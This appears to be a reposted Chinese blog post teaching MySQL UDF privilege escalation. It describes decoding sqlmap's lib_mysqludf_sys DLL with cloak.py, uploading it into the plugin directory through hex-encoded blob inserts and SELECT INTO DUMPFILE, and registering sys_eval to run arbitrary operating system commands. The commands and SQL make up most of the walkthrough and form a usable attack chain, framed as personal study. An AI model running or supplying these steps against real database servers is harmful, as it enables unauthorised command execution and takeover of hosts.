UDF提权学习

前言

虽然udf提权是很早的东西了,但还是有必要学习操作一下,写的比较烂

简介

udf(User-Defined Functions)用户自定义函数

UDF是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()
,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样,

Mysql版本 提权dll存放位置
>5.1 mysql根路径(select @@basedir)下/lib/plugin/
<5.1 系统目录c:\windows\system32下

UDF提权

然后就来快乐提权吧,源项目地址:
https://github.com/mysqludf/lib_mysqludf_sys#readme
然而sqlmap都准备好了:(以kali下为例)

udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下下:

/usr/share/sqlmap/extra/cloak

udf的存放位置为(这里可以选择不同系统和不同位数,注意这个是mysql的位数而不是系统位数)

/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

然后在解密脚本路径下执行命令

cloak.py -d -i D:\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll_

会在udf路径下生成lib_mysqludf_sys.dll
在这里插入图片描述
将这个dll根据不同版本的mysql放入不同路径,以windows phpstudy为例:

在mysql根路径下/lib/plugin(没有的就新建文件夹:)放入dll文件:
在这里插入图片描述
这样本地就放入dll了


如果是远程的mysql并且有写入权限的话 (用@@secure_file_priv查看)只要返回不是NULL就有写权限,可以在my.ini加入secure_file_priv= 开启
在这里插入图片描述
那么就可以这样,先将dll转换为十六进制便于传输

SELECT hex(load_file('本地lib_mysqludf_sys.dll路径')) into dumpfile 'E:/gg.txt';

然后在远程mysql中创建一个表,用来存放dll:

CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
SELECT c FROM udftmp INTO DUMPFILE '该存放的路径'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

参考文章:https://blog.csdn.net/x728999452/article/details/52413974
但是如果mysql>5.1,而又没有lib文件夹就比较鸡肋,尝试用$INDEX_ALLOCATION创建文件夹却失败
在这里插入图片描述
这个有待研究,可能师傅们还有其他操作吧我暂时还没找到解决方法(菜


回到本地mysql,我们已经成功在/lib/plugin/下放入了dll,然后执行:

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

执行后就可以命令执行了:
在这里插入图片描述
(站还没拿下就nm提权)


今天是清明节,为那些因为新冠逝世的人们默哀

猜你喜欢

转载自www.cnblogs.com/W4nder/p/12630046.html